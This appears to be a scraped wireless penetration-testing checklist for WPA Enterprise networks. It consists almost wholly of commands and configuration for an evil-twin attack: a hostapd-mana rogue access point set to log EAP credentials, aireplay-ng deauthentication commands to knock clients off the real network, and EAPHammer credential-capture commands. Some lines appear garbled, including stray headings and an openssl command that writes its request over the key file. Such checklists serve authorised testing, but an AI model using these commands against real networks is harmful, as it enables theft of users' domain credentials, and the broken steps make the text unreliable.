Wi-Fi WPA Enterprise Basic Wireless Pentest Checklist

./EAP_buster.sh "${EAP_ESSID}" "${EAP_IDENTITY}" "${WIFI_INTERFACE}"

hostapd-mana

https://github.com/sensepost/hostapd-mana

configuration
# Interface configuration
interface=<interface>
ssid=<SSID>
channel=<channel>
auth_algs=3
wpa_key_mgmt=WPA-EAP
wpa_pairwise=TKIP CCMP
wpa=3
hw_mode=g
ieee8021x=1

# EAP Configuration
eap_server=1
eap_user_file=hostapd.eap_user

# Mana Configuration
enable_mana=1
mana_loud=1
mana_credout=credentials.creds
mana_eapsuccess=1
mana_wpe=1

# Certificate Configuration
ca_cert=ca.pem
server_cert=server.pem
private_key=server-key.pem
dh_file=dh.pem
configuration
* TTLS,PEAP,TLS,MD5,GTC
"t" TTLS-PAP,GTC,TTLS-CHAP,TTLS-MSCHAP,TTLS-MSCHAPV2,MD5 "challenge1234" [2]
openssl dhparam -out dh.pem 2048
openssl genrsa -out ca-key.pem 2048
openssl req -new -x509 -nodes -days 100 -key ca-key.pem -out ca.pem
openssl req -newkey rsa:2048 -nodes -days 100 -keyout server-key.pem -out server-key.pem
openssl x509 -req -days 100 -set_serial 01 -in server-key.pem -out server.pem -CA ca.pem -CAKey ca-key.pem
hostapd-mana hostapd.conf
airodump-ng <interface> -c <channel>
sudo aireplay-ng -0 6 -a <BSSID MAC> -c <client MAC> <interface>
Wi-Fi security = WPA & WPA2 Enterprise
Authentication = Protected EAP (PEAP)
No CA certificate is required = checked
PEAP version = Automatic
Inner authentication = MSCHAPv2
Username = Domain\username
Password = password

EAPHammer

https://github.com/s0lst1c3/eaphammer

eaphammer --cert-wizard
eaphammer --interface <interface> --negotiate balanced --auth wpa-eap --essid <ESSID> --creds
sudo aireplay-ng -0 6 -a <BSSID MAC> -c <client MAC> <interface>